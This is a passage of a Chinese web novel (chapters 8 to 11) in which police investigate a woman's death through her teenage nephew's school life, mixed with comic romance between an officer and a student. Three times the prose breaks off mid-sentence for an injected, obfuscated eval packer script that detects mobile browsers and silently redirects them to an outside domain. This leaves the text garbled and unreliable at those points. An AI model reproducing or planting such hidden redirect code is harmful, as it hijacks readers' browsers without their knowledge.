罗乐眼神一动:“怎么说?” “记笔记巨详细。”孙世杰回忆了一下,“有次,他还在我本上圈了个东西,吓了我一跳。” 罗乐:“他圈啥了?” “就一行字吧,忘了是啥了。”孙世杰挠挠头。 旁边的高个子笑出声:“你不是最喜欢生物嘛,这都能忘?” “我喜欢的是化学!最喜欢食品科学!”孙世杰翻了个白眼。 现在的高中生学的都是什么东西啊?前有人研究月球,这又一研究食品科学的,就不能先把学习搞好吗?罗乐忍不住腹诽。 “先别管食品科学。”他揉了揉眉心,继续追问:“他当时怎么说的?” “就说写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孙世杰:“碳酸饮料开盖时为什么会发出「嘶」的声音?” “气体释放的声音。” “能不能说详细一点?”孙世杰认真发问。 陶律夏:“二氧化碳通过高压溶解在液体中形成碳酸,瓶盖打开时压力骤降,部分碳酸分解为二氧化碳,形成的大量气泡迅速释放,发出「嘶」声。” “哇,你果然知道!”孙世杰感叹道。 陶律夏:“这种问题网上一搜就有,下次……你可以先查查资料。” 孙世杰丝毫不受打击,又笑嘻嘻地问:“陶学长,今晚有空去星光夜市吗?” 陶律夏侧眸看他:“研究冰粉?” 孙世杰惊讶:“你怎么知道?” “你昨天在兴趣小组的群里转发过《夜市的冰粉是不是石灰水做的?》” “呃……哦……是,研究完还能顺便吃一碗,科学和美食是密不可分的——” 陶律夏:“果胶在合适的酸碱条件下,遇到钙离子会发生交联,形成凝胶。这种现象做个实验就能验证,没必要去夜市。” “而且夜市的冰粉大概率用的是工业制魔芋粉,不需要用石灰水。” “啊?”孙世杰被这突如其来的「学术攻击」打了个措手不及。 陶律夏看着他耷拉着的嘴角,语气软了下来:“探索科学是要带着好奇心去做的,如果你有兴趣,课题研究可以考虑往这个方向拓展。” 他把可乐递了回去:“下次,我能帮到你的时候,再请我喝吧,我先走了。” “唉!陶学长。”看着陶律夏消失在人群中,孙世杰撇了撇嘴,扭开了可乐瓶。 “嘶”的一声,气泡翻涌而出,笑容便又回到了活跃高中生的脸上——“这就是二氧化碳释放的声音啊……” 8. 人情成本 “咔嗒。”李达坤扯开易拉罐的拉环,抬起手将冰可乐送下喉。 已经是案发第三天,监控如大海捞针,通讯记录挨个翻过,案子依旧像一团死结。 嫌疑人只有两个:一个沉默难缠,一个无迹可寻…… 死者的侄子庄泽极度抗拒,盘问两次,全程冷脸,说的话不超过10句。 庄萍死亡当天和她吵架的男人,唯一的痕迹是邻居听见他说——“50块钱你都不愿意出?你真够可以的。” 李达坤的手指有一下没一下地敲着铝罐,目光盯着桌上铺开的资料。 50块? 不多,不像借款,不是租金,更像是个小额的服务费或者维修费。 来人是修理工?如果是这样,那现场没有采到第三人的指纹和痕迹,倒也合理了。 维修工进门一般会戴鞋套和手套。 修了什么?换灯泡?通马桶?修水管?还是修电器? 死者的手机没有预约订单,也没有50元的支付记录,收了现金?还是找熟人帮忙看了看? 他正想着,办公室门被轻轻敲了两下,一个年轻刑警探头进来:“头儿,庄泽妈妈刘丽新回来了,刚刚打过电话,这会儿人在家。” 李达坤合上桌上的笔记,拿起外套,交代说:“我去趟润和小区,你把3月18号上午的监控再过一遍,所有进出小区的维修人员,还有——” “看着像维修人员的,也都再筛一遍。” 润和小区202室门口—— 门开了,一位穿着素净的女人出现在门后,神情中带着几分警觉。 “刘丽新女士?”李达坤亮出证件,语气温和,“我是东城分局的,之前和您通过过电话。” 刘丽新低头扫了一眼他出示的证件,侧身让出门口:“进来说吧。” 客厅光线昏暗,窗帘只拉开了一半,落地窗前摆着几箱没拆的快递箱,上面贴着跨境电商的物流单。茶几上杂乱地摊着几沓文件和账单,刘丽新拨到一边,抬手示意:“坐吧。” “我这次来……” “警官。”刘丽新直接打断了他,语气不带一丝客套,“如果你是想知道庄萍和什么人来往,我真不知道。我们俩性子不合,我和她说不到一块儿。她交什么朋友,和谁联系,我也从来不过问。” 李达坤微微一顿:“那她和庄泽的关系怎么样?” 话音刚落,刘丽新的脸色就沉了下来,她手里的杯子“哐”地一声磕在茶几上,“你这是什么意思?” “我们在现场发现了庄泽的指纹和鞋印,只是想排除,是不是平时留下的生活痕迹。” “当然是了!”刘丽新的语速骤然加快,“我工作忙,不在家的时候,让她管孩子的早晚饭,去她那儿,这不是很正常吗?” “了解。”李达坤点点头,继续道:“那他跟他姑姑关系怎么样?” 刘丽新捏着杯沿,沉默了一会儿,才道:“跟他姑姑……也就那样,谈不上亲近,也没什么矛盾。” 她顿了顿,像是想强调什么:“我儿子很乖的,从来不惹事。” 李达坤问:“您出差是不是挺频繁的?平时不在家,都是庄萍在帮您照顾孩子?” “也不能叫‘照顾’吧。”刘丽新语气里透出一丝不耐,“孩子又不小了,生活能自理。她不过是多做一顿饭,偶尔收拾一下,有什么好累的?” “那……她愿意吗?”李达坤看着她,语气不疾不徐。 刘丽新神情一顿,像是没想到会被问这个,她的语调不自觉地抬高:“她为什么不愿意?楼上那套房子是我的,本来可以拿来租的,一直让她白住,我说过一句话吗?” 她抱臂靠在沙发边,语气低了几分:“他爸爸走得早,请保姆我不放心,送寄宿学校又舍不得。他亲姑姑就在楼上,搭把手不是应该的吗?” 这话说得理直气壮,可尾音却不由自主地虚了几分,像是连她自己都没完全信服,不知道是在辩解,还是在安慰自己。 “现在又出了这种事……”刘丽新抬手揉了揉眉心,语气低了下去,“我是真的不知道该怎么办了。” “刘女士,您节哀。” 屋里沉默下来,只有墙上的时钟发出“滴答滴答”的声音。李达坤又陪她聊了几句,才略带客气地开口:“方便的话,我能借用一下洗手间吗?” “随意吧。”刘丽新摆摆手,眼神疲惫,“家里乱得很,这几天也没心思收拾。” 从洗手间出来时,李达坤听到阳台方向传来一阵细微的簌簌声,他循声望去,看到一只仓鼠正扒着笼壁蹭来蹭去。 “庄泽养的?”他问。 “嗯。”刘丽新应了一声,“从小就喜欢小动物。要不管他,恨不得把蚂蚁窝都搬回家。” 阳台空间不大,格局和庄萍家几乎一模一样,却多了几分生气。靠墙的位置摆着几个塑料储物箱和盆栽,一袋敞口的香蕉片斜斜地靠在花盆边。 李达坤走过去,拿起一片问:“吃的东西怎么放在这儿了?” 刘丽新站起来看了一眼:“那是我儿子喂鸟用的,他说喜鹊喜欢吃。” * 操场边的玉兰树开得正盛,晚霞染暖了枝头,风里带着一点花香,是个适合吹风的春日傍晚。 孙世杰坐在台阶上,拿着“地狱NPC”送的的奶茶咕噜噜地吸了两口,没有什么恐惧是一杯「草莓波波」不能安抚的。 “庄泽画的这个圈是啥意思?”罗乐闷头看着笔记本。 “我怎么知道?”孙世杰从地上捡了一片玉兰花瓣,在指尖旋了两圈,一脸无辜道:“警察叔叔,我跟你说了,庄泽这人很怪的。” “谁是你叔叔?”罗乐眼皮一跳,斜了他一眼,“我看起来那么老?” “那、那我该叫啥……”孙世杰眨巴眨巴眼睛,试探着问:“罗Sir?罗……罗前辈?” “不然叫……罗哥?”孙世杰讪讪一笑,说:“听着太江湖味儿了。” “行了,别费劲编了,看笔记。”罗乐点了点画红圈的字:“他为啥圈这个?提醒你注意重点?” 孙世杰往前凑了凑,盯着那段话看了一会儿:“……不知道唉,他可能就随便画画。” 罗乐:“……” “3月19号那天,他来上课了吗?”罗乐换了个问题。 “来了呀,不过昨天下午倒是没来。” “庄泽……他到底怎么了?”孙世杰欲言又止,最后还是忍不住问了出来。 “现在还没到告诉你的时候。”罗乐站起身,把笔记本举了举,“这本儿我先借了,注意……” “保密。”孙世杰条件反射地接道。 “回答正确!”罗乐又冲他眨了眨眼,“等我忙完,请你吃炸串。” 拿到笔记本后,罗乐直奔班主任办公室,第四次了,终于堵到人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939297|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这几天外出听课去了,你找我有什么事?”班主任翻着桌上的试卷,改了两笔,语气不咸不淡。 “想了解一下庄泽的情况。”罗乐不动声色。 班主任的笔尖停了一下,随即在试卷上打了个勾:“庄泽?他怎么了?” 罗乐:“他家里出了点状况,想了解些他的生活情况。” “什么状况啊?” “暂时还不方便透露……” 班主任改着试卷,慢悠悠道:“这孩子……平时话不多,成绩中上,不算活跃。” “和同学关系呢?有没有什么矛盾?” 班主任拿起另一张试卷,红笔一顿,画了个大叉,愤愤道:“动能定理这么简单的题,又写错了!” “……” 罗乐等了一会,确认班主任没有自动切换回“答疑模式”,只好又插了一句:“庄泽和同学之间,有没有什么矛盾?” 班主任:“最起码没有我知道的矛盾。” 罗乐配合着班主任改卷子的节奏,有一搭没一搭地聊着天,试图拼凑出一个完整的学生形象。 “班级活动也不怎么参加。”班主任说着,端起茶杯,轻轻吹了吹浮在上面的茶叶。 办公室一角,打印机还在嗡嗡作响。站在一旁的年轻老师忽然插话:“学校组织去百花岭徒步观鸟,庄泽参加了。” 罗乐的目光微微一顿:“什么时候?” “早了,去年的事儿了。”年轻老师掏出手机,翻了翻照片:“11月18号。” “还有这种活动?我怎么不知道?”班主任转过头问。 “就自然科学的拓展呗,张主任搞的,还请了个自然博物馆的讲解员。” 走出办公室时,太阳已经落山了,罗乐在体育馆旁那条种满梧桐的小道上遛弯,绕了几圈,脑子里的线索总算清楚了点。 他出了校门,拐进一家便利店,从冷柜里拿了瓶冰水。刚要去结账,眼角余光一闪,动作随之顿住—— 陶律夏! 那家伙站在货架前,目光一寸一寸地扫过食品包装,眼神专注得仿佛下一秒就要掏出放大镜。 罗乐凑近一看,好家伙!拿的居然是辣条…… 这姿态,要不是面前放的是两块钱的零食,他差点以为这人是在矿物博物馆考古。 他往旁边一站,嘴角一勾,嗤笑道:“呦,你不是喜欢精确计算嘛?怎么?也来买垃圾食品?” “罗警官?”陶律夏转头瞥他一眼,说:“食物与情绪之间的关系,并不能完全用成本效益分析。” “简单点说,就是馋了呗?”罗乐从陶律夏手中抽走了辣条,以迅雷不及掩耳之势,走到柜台扫码。 “哥请你吃。” “哎——”陶律夏伸手去拦,但罗乐已经神速付款,收银机叮一声响,交易显示完成。 陶律夏没有再争,低头掏出手机,面无表情地发了个红包。 罗乐看着微信界面,愣了两秒:“……至于吗?一包辣条而已,你还要算这么清?” “避免债务积累。” 罗乐扶额,忍不住笑了:“……你能不能有点人情味?” 陶律夏:“人情味也有成本。” “走吧,去那边坐一会。”罗乐指了指路边的长椅。 陶律夏挑眉:“做什么?” 罗乐:“红包不收,但让你还债。” 9. 粉色暴击 两人在长椅上坐下,旁边的樱花树开满了,路灯亮起,粉白色花瓣随风飘落,就像是橙色的雪。 罗乐从包里抽出孙世杰的笔记本,翻到庄泽画圈的那页,递到陶律夏面前:“你帮我看看,这有什么问题?” 陶律夏接过笔记,低头扫了一眼,指尖停在那圈红色标注上:“这里写错了。” “鸣禽的代表不是猫头鹰,鸣禽的代表是大山雀,猫头鹰是猛禽的代表。” 罗乐挑眉:“你确定?” 陶律夏抬眸看他:“基础知识。” 罗乐:“……” 敢情自己连基础知识都没有了,罗乐嘴角抽了抽,正要解释,就见他已经翻到了下一页。 陶律夏沉默了一会儿,抬头看向罗乐:“你这本笔记是从哪里搞来的?是你写的吗?” 罗乐下意识绷紧了后背,警惕地盯着他:“咋了?” 陶律夏深深地看了他一眼:“如果这是你写的,那我要正式收回可以‘帮你补课’这项劳务补偿。” 罗乐:“?” 陶律夏:“因为这对我来说,成本极高,完全不等价。” “这里,”陶律夏重新摊开笔记本,“‘哺乳动物的卵细胞比精子大十倍以上’,丢了一个「万」字,实际体积至少是精子的万倍。” “还有这里,”陶律夏皱起眉,“‘DNA双螺旋结构由碳水化合物组成’……碳水只是结构骨架,不是主要成分。DNA要是碳水,那基因组就是一碗粥。” 罗乐:“……” “‘血液是红色的,因为含有血小板’。”陶律夏缓慢地眨了眨眼,“血小板听了都会凝固。” “‘鲸鱼和鲨鱼是什么关系?‘“陶律夏的睫毛微微颤动,他缓缓抬头,目光穿过夜色。 “怎么会写下这种问题呢?一个是哺乳动物,一个是软骨鱼类,甚至都不是一个纲。” 罗乐心口一震,没憋住问道:“海豚和海豹呢?” “海洋馆表演的搭档关系。”陶律夏看了罗乐一眼,合上笔记本,递还给他。 罗乐整个人都麻了,要不是这本还有破案线索,他现在就能把它原地火化!终于,他硬撑着发出一声低吼:“这不是我的笔记本!” 陶律夏没再说话,他撕开辣条的袋子,捏起一根,放进嘴里慢条斯理地咀嚼起来,像是在进行某种情绪调节。 过了一会儿,他把袋子递到罗乐跟前。 罗乐盯着那袋辣条,犹豫了几秒,还是伸手拿了一根。两个人一左一右,手里各捏着一根辣条,像是达成了某种诡异的休战协议。 罗乐嚼着辣条,陷入沉思—— 他本来是来查案的,怎么最后被这小鬼科普了一顿生物知识,还吃上了垃圾食品?他咬着辣条,冷不丁地开口:“你不会是个学霸吧?” 陶律夏轻笑道:“你怎么定义学霸?” 罗乐:“这还用定义?就是成绩好呗。” “坦率地说,我不喜欢这个词。”陶律夏顿了一下说,“单以成绩定义,意味着某种被固定的评价方式。” 罗乐讪笑:“不是就说不是。” 几片粉白色的樱花瓣随风旋落,悠悠荡荡,不偏不倚地落在了罗乐身上。 陶律夏的视线停驻在他肩头,目光专注,甚至有一瞬间的怔忪。 罗乐顺着他的视线看了眼自己的肩膀,皱了皱眉,语气不耐:“你又看不顺眼?”他说着,就要拨落肩上的花瓣。 陶律夏忽然伸出手,抓住了他的手腕—— “……不,很漂亮。” 手掌明明很凉,却意外地烫了罗乐一下,有股电流从手腕蹿上大脑皮层。不是错觉,也不是心理作用,而是真真正正的触电感。 罗乐僵了一下,心脏不受控制地猛跳,他下意识想甩开,可还没来得及动作,陶律夏已经先一步松开,像什么事都没发生过一样,从容地收回了手。 徒留罗乐的手僵在空中,不上不下,显得有点……滑稽。 短暂的沉默。 罗乐垂下手,后知后觉地凶道:“你身上是通电了吗?!” “抱歉。”陶律夏微微一笑,“也许我应该戴个防静电手环,我先走了。” ……静电手环?你怎么不干脆挂个避雷针?! 罗乐一脸见鬼,罪魁祸首已走出五十米,他朝背影望了过去,今天又背了个灰蓝色的书包,上次见好像是个绿的,第一次又是粉色。 ——臭美得离谱! 一天到晚,心思都花在装逼和怼人上,今天冒出个「漂亮」,那天还说他「可爱」……到底要干嘛啊?怎么老用这些词汇来……来羞辱他!? 罗乐偏过脸,愤愤地抓起肩头的樱花瓣,想要弹走,指腹触碰的瞬间,动作却莫名缓了一下,花瓣柔软、冰凉、湿润。 大脑短路了一秒,他就果决地悉数打飞,这特么就是些花瓣,又不是刑事证据,不扔掉难道揣在兜里吗! * 李达坤从刘丽新家出来,便去了楼上的402。庄萍案发当天,听见争吵声的邻居正是住在她家正上方的这户。 这户邻居姓冯,是个六十多岁的老太太,穿一件印花的深色衣服,头顶的卷发一股股地拧在一起,泛着自然的灰白色,像岁月揉捏成的钢丝球。 “警察同志!”她一边往里让人,一边熟络地打招呼,“怎么样啦?抓到凶手了吗?” “还在调查。”李达坤翻开随身的笔记本,“您和庄萍熟吗?” “熟啊,我们是老邻居了。“冯大妈说着一屁股坐在沙发上,“我和她父母就认识——楼下这房子啊……” 她朝下指了指,语气颇为神秘:“是她爸妈老房子拆迁换的,两套,一套302,一套202。结果全给了她哥。” “她哥去世后,房子就转给她嫂子了。” “这也太偏心了吧……”李达坤顺口感叹。 “可不是嘛,她爸妈就是偏心。”冯大妈说着去餐厅倒水。 “年轻时候庄萍就老跟他们吵,可有啥用?你吵也吵不过,人家心里就认 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“物业不可能。”冯大妈立马摇头,“他们得靠我们打分,不能砸自己饭碗啊。” “住户嘛?”她皱着眉想了想,“也不是,我们这栋楼住的男的,年纪都大了,没一个是那种声音……” “不过,你还别说……”冯大妈忽然一顿,眼神略带迟疑,“那声音……怎么感觉,有点耳熟。” 她试图回忆,又像被什么卡住,最后还是叹了口气,“唉,我年纪大了,耳朵也不灵了,也可能是我听错了。 李达坤沉吟片刻,抬手指了指阳台外的空调外机:“如果要修空调,或者家里电器坏了,都是找物业吗?” “物业修不了空调,得找外面师傅,这附近就有。” 李达坤神色微动:“叫什么?” 冯大妈站起身,走到玄关的杂物篮里翻了翻,掏出一张名片递过去:“这家,我最近刚修过洗衣机……” 李达坤接过名片看了一眼——蓝天电器。 从402出来时,天色已经彻底暗了下来,晚风徐徐,几位大爷不疾不徐地踩着健身器械,一片吱呀作响。 小区又回到了它惯常的平静,像什么都没发生过。李达坤沿着绿化步道往外走,脑海里不经意间闪现出庄萍的家。 他第一次到死亡现场时,就注意到那个房子陈设简单得离谱,家具不多,摆件寥寥,电视遥控器的电池盖早已不见踪影,用塑料胶布粘着。 原来那儿不是一个“家”,而是一个短暂栖身,却无法久住的房子…… 拐过花坛边时,他的手机震了一下—— “头儿,3月18号上午10:43,有个男的提着工具箱进了小区,没在物业登记,从西边小门跟着一个住户进去。门口另一个角度的监控拍到了脸,身份还在查。” 李达坤脚步一顿,说道:“去查一下,蓝天电器。” 10. 捕捉系统 “孙立乔!”李达坤用指节轻敲桌面:”知道为什么让你来吗?” “我……我不知道啊,警官,听说有事要我配合调查,我就过来了。” “你跟庄萍是什么关系?”李达坤问。 孙立乔:“庄萍?我不认识啊。” “不认识?“李达坤轻笑一声,甩过一张照片,给你提个醒:“润和小区,302室。” 孙立乔的目光落在相片上,反应了一会才道:“哦,是她啊,上周我在她家单元修热水器,下楼的时候正好碰见。她说家里空调不制热。” 李达坤点点头,示意他继续说。 “她当时要去上中班,让我哪天上午路过时直接过去,我就答应了。” “然后呢?” “前几天正好在那边有单子,我就顺路去了。”孙立乔说着,突然顿了一下,神色有些不安:“警官,是怎么了?” “前几天是哪一天?” “呃……星期四。” 李达坤往椅背上一靠,眉梢微挑:“也就是说,庄萍死亡当天上午,你确实去过她家?” “死了?”孙立乔猛地抬起头,眼睛瞪得溜圆,连连摆手:“警官,我就是……就是去她家检查了一下空调,检查完就走了!我可什么都没干!” “检查完就走了?”李达坤的声音冷了几分,“可有人听见你们吵了至少10分钟。” 孙立乔脸色一僵,额角的汗顺着脸颊滑了下来:"她那空调需要换电辅热丝,我检查完报价350,她嫌贵,说要找别人。我说不换也得收五十元的上门费,她就埋怨我坑她钱。” “上门费是公司规定好的,明码标价。警官,我可真没干别的!我不至于为了这点事杀人吧!” “没干别的?”李达坤敲了敲笔记本,“你有没有说‘让她去死’。” 孙立乔的脸色瞬间白了,嘴巴张了张,却没发出声音。 过了一会,他才干巴巴道:“警官,我……我就随口说的啊!她骂我,我一生气可能就……就顺嘴回了句,哪能当真的?!” “顺嘴?”李达坤声音骤然拔高:“你心里没有这么想?她不给钱,还骂你黑心,你觉得憋屈,越想越气,晚上又折回去,把她杀了!” “没有!”孙立乔吓得嗓音都变了调,“警官,我真没有!我就是个修空调的,顶多心里埋怨几句,能有多大仇啊?!” 李达坤盯着孙立乔看了几秒,忽然话锋一转:“当天晚上七点到次日一点,你在哪?有人能证明吗?” 孙立乔语气更慌了:“我……我那天晚上去打牌了,从七点打到快十一点……” “11点到1点呢?”李达坤用笔尖点着桌面,节奏均匀,像一记记催促。 “回家睡觉了。” “谁能证明?” 孙立乔急得快哭了:“警官,我一个人睡觉怎么证明啊!” “把牌友的姓名、联系方式都写清楚。”李达坤推过去一张纸,朝一旁的苗川招了招手:“倒杯水。” 苗川提起水壶,一边倒水,一边状似随意地问道:“那天庄萍有没有什么异常?” 孙立乔眼神迷茫:“异常?我没注意……” “十分钟啊,小孙。”苗川把杯子递过去,“你和她吵了十分钟,就在那里干吵?啥也没注意?” “……我检查完空调,就去阳台看了看外机。” “说到钱时吵了两句,被她堵在阳台,那人一激就炸,这算异常吗?”孙立乔的声音越来越低。 “她家阳台挺乱的,窗台上的花都死了,只剩下空花盆,我当时还想这人连花都养不好……” 李达坤用笔敲了敲桌子:“说点有用的!” “……阳台上堆了很多杂物,空调外机周围堆着破铁盒子、废纸、几个盆子……我当时跟她说,别在外机附近堆杂物,会影响散热。” “……警官,我真的什么都没干!” 李达坤看着孙立乔——这人脸色煞白,肩膀微僵,嘴里反复念叨的就是这句“我真没干”。 像是心虚,但更像是被吓得不轻。他跟庄萍有纠纷是肯定的,但要说他能一怒之下杀人?吵架是上午,庄萍死亡时间在晚上,他气到杀人,能憋这么久? 直觉告诉他,这人不像…… “去查他的不在场证明!”李达坤把记录拍在苗川身上,走出了审讯室。 另一边,罗乐正在自然博物馆大厅闲逛,他本来约好了实验中学观鸟活动的陈讲解员了解情况,奈何刚到就赶上人家临时有事。 无聊之际,罗乐随手抽了张展览宣传单,卷成一个纸筒望远镜,漫无目的地朝展厅各处扫去。天花板上,一只翼龙的复原模型高高悬挂,羽翼半展,仿佛下一秒就要俯冲而下。 他顺着翼龙的“飞行方向”往下一扫,视野里忽然晃过一个身影—— “……我去。”罗乐唰地扯下纸筒,又是这家伙!这小子不止带电,还自带捕捉系统吗?怎么老能碰上? 他站在原地,眼神盯住那个熟悉的后脑勺,脑子里飞快闪回过往被知识暴击、被冷脸嘲讽、被“建议喝菊花茶”的社死时刻。根据此时大厅的人流密度,理智告诉他,不要去,但脚没听使唤…… “逃学!还逛博物馆?你胆子不小啊。”罗乐抬手用纸筒敲了敲对方的肩膀。 陶律夏转过头,眼神在对方手里的纸筒和脸上的“我逮到你逃学现场”的得意表情之间滑了一圈,淡淡问:“那你呢?为什么不上班?” 罗乐扬起头:“谁说我没上班?我正上着班呢,查案!” 陶律夏“哦”了一声,转过身拿了一张同款宣传单,语气不紧不慢:“今天是星期天。” 罗乐笑容一滞,他下意识掏出手机一看——屏幕上明晃晃地写着「星期日」。 抓包的快感刚起飞,就被迎头一锤砸回地面。他把手机塞回兜里,嘴硬道:“高三了,不抓紧时间在家复习,你跑这儿干嘛?” “来看特展。”陶律夏指了指展厅门口的巨幅海报——《走近远古生命:中华龙鸟》。 “今天是最后一天。” 实验中学是有什么传统吗?怎么一个个都对鸟感兴趣?罗乐满脸疑惑地问:“你也喜欢鸟?” “中华龙鸟不是鸟,它是一种长有羽毛的恐龙。”陶律夏语气平静地纠正,“它的发现,是小型兽脚类恐龙演化为鸟类的重要证据之一。”(注1) 罗乐:“恐龙是鸟的祖先?你开什么玩笑?” “鸟类是从恐龙进化来的,你小时候没看到自然动画片吗?”陶律夏声音沉稳。 ——又来!这小子是不是对他的文化水平有什么误解!上次是“高中生物基础不行”,这次直接给他安排上“幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939299|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿节目”了…… 罗乐咬紧后槽牙,冷笑出声:“我小时候忙着学习,没空看动画片。” “倒是你……”他顿了顿,瞥了对方一眼,语气带刺地回敬,“有时间研究什么进化史,不如先搞清楚你现在主业是啥——考上大学比这重要。” 陶律夏微微垂眸,带着一种纯然的宽容,轻轻笑了笑:“你最近是不是没去派出所?” 罗乐一愣:“没顾上,怎么了?” “没什么。”陶律夏的唇角若有似无地勾了一下。 ——笑什么呢?这家伙一笑,罗乐脑袋里警铃就响,他忽然有种强烈的预感——派出所,可能、也许、极大概率有什么事在等着自己! 还想来得及盘问,手机突然震动,屏幕上跳出陈讲解员的来电。 “看完赶快回家学习!别老研究这些没什么用的……冷知识!”说完,他接起电话,快步往二楼走去。 和陈讲解员聊了半个多小时,罗乐又回到特展厅,他转了一圈,陶律夏已经不见了。 “跑得倒是挺快。”他咂了下舌,展开手里那张卷成一筒的宣传单——原来是“中华龙鸟”的复原图。 头颅小巧,眼神锐利,脖颈微弯,尾羽低垂,丝状的绒羽覆盖全身,确实不太像恐龙,倒有点像长相奇怪的……野山鸡,上过《自然》杂志封面那种。 宣传单上还有一行小字,“中华龙鸟为代表的带羽毛的恐龙……为小型兽脚类恐龙演化为鸟类的学说奠定了基础。”(注2) 罗乐忽然有点难以释怀,他刚刚讲的怎么和这讲解词一样呢? 这小鬼的冷知识也过于全面了吧?! * “头儿。”苗川快步走进办公室,同李达坤低声汇报:“孙立乔的不在场证明没问题,死者的其他社会关系也没发现可疑的。” 案子又卡住了,线索就剩下——庄泽。 成年人撒谎,正常的审讯技巧总能撬开点口子。可庄泽,程序在那儿搁着,想盘问都不能超过4小时,而且他比成年人还沉得住气,情绪平静、眼神空白,话都不多说一句。 李达坤有些烦躁,罗乐那边在学校探查的怎么样了?看着挺机灵,怎么这么不顶用?几天了一点音讯都没有!肖龙飞还力保他靠谱?靠什么谱!没用的花架子! 他站起身,拎起椅背上的外套,和苗川说:“走,再去看一遍案发当晚十一点后的监控,看看有没有遗漏。” 罗乐跟着陈讲解员介绍的领队体验完「观鸟半日游」,回到市区时天色已暗,运动手表显示今天走了快三万步。 他本来准备打道回府,可一想到陶律夏昨天那抹意味不明的笑,还有那句“你最近没去派出所?”就有些隐隐的不安,于是半路改道去了派出所。 进门还没顾上喘口气,就看见桌子上多了个包裹——长的、细的,颠在手里很轻。 他盯着看了一会,心里升起极度不妙的预感。 这个形状…… 不会吧? 不,不可能吧? 他不会真干出来了吧??? 不会真是锦旗吧??? 不会刚好是那天晚上他随口说的「帅裂苍穹」吧!!! 罗乐一个激灵,动作飞快地冲过去,一把将包裹从桌上拎起,夹在腋下,像个作案后逃逸的惯犯,鬼鬼祟祟地撤离了现场。 11. 帅裂苍穹 罗乐回到宿舍,反锁好门,把包裹丢在桌子上,盯着它看了一会,心情复杂得像面对一颗定时炸弹。 他深吸了一口气,伸手拆开包装—— 红色的布料露了出来,金灿灿的流苏晃得他眼花。 真的是锦旗…… 他捏住锦旗的边角,慢慢展开…… 上面果然写着赫然醒目的大字——帅裂苍穹。 “???!!!!” 死小子,故意搞我吧?幸亏没在派出所打开! 不然「帅裂苍穹」一定会传遍整个京北警界!被人嘲笑到退休!! 罗乐感觉血压蹿升到了前所未有的高度,捏着锦旗的手微微颤抖,几乎想把这玩意儿直接撕成碎片。 就在这时,手机突然震天响,他摁下接听键,还没来得及说话—— “几天了,你忙什么呢?!现在立刻给我滚过来!” 李达坤的咆哮声从听筒里冒出,罗乐本就在抖的手,一个不稳,差点把手机摔了。 罗乐把脸撇到一边,叹了口气,强行稳住了情绪:“我这四天一共问了7个老师,21个同学,5个食堂师傅,1个博物馆讲解员,2个活动领队。” “李警官,每天的工作进展,线索简报我都在OA上发给你了啊!” 电话那头忽然安静了,像是被他这番“数据汇报”怼懵了。 “让你在学校调查!你上博物馆干什么!” “跟庄泽的线索,他参与的课外小组的发起人是博物馆的讲解员。”罗乐咬牙道。 听筒那边沉默了一会,接着传来更加震耳欲聋的怒吼:“发什么OA!!你不会打电话啊?!你没电话用吗?!有事不会直接说?!明天上午给我滚过来!” 电话被挂断,罗乐看着黑掉的屏幕,缓缓倒在床上。 从案发当天到现在,他连周六日都没休息过,跑实验中学,跑博物馆,今天还坐公车去了郊区爬山!每天复盘汇总线索,累得像狗一样,还要被骂?到底是他错了?还是李达坤不会看OA! 发OA高效保密又利于保存,发OA也算是他的错吗?就因为没打电话通知李达坤点开OA? 还能不能讲点公道??? 还有那个中学生,自己对他还不够好吗?! 帮他找车,给他刷漆,陪他吃垃圾食品,承受他的静电,忍受他各种令人窒息的知识暴击……结果呢……居然能这么玩他?! 帅裂苍穹?! 罗乐气得把锦旗狠狠地甩在地上,光滑的红缎在地板上摊开,金线刺绣的字迹闪着微光。 今天怎么这么背呢?罗乐的脑子嗡嗡作响,甚至有种直接摆烂的冲动。 忽然,他目光一滞,锦旗上面好像还有字……他愣了一下,弯腰把锦旗重新捡了起来,全部展开。 ——星垂平野 帅裂苍穹 ——送给助人为乐的罗警官 罗乐僵在原地,手里的布料轻飘飘地滑过掌心,带来某种迟来的、不知该如何处理的温度。 这玩意儿乍一看是整活儿,可仔细琢磨……又不像是单纯的戏弄。 “哪个LE?” “助人为乐的「乐」” “星垂平野,帅裂苍穹…… ”罗乐低低地念了一遍,喉结微微滚动,像是有什么东西顺着这句话涌了上来。 有点……热血, 有点……豪气, 有点……诗意, 还有很多点……帅。 某种情绪轻轻按熄了他满脑子的愤怒、羞耻、抓狂和委屈,甚至连李达坤刚才那通莫名其妙的嘶吼,都显得微不足道。 指尖在金色的字迹上轻轻蹭了一下,忽然就笑出了声,当警察有意思的时刻,他好像体验到了…… 第二天上午,东城分局小会议室里,罗乐按照李达坤的要求「当面」「直接」地汇报调查进展。 “周围人对庄泽的评价都差不多。他不爱说话,不喜欢和人交往,看起来很普通,生活用品和衣食住行都节俭到有些苛刻。” “怎么可能?”李达坤微微皱眉,“刘丽新每个月给他转2000元零花钱,一个高中生,至于缺钱?” 